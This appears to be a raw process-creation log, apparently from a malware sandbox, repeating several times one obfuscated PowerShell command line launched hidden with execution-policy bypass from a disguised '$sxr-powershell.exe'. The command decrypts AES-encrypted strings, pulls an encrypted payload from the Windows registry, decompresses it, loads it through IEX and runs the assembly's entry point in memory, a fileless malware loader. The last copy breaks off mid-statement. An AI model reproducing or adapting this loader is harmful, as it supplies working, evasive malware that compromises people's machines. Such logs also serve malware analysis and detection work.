[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(7200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = 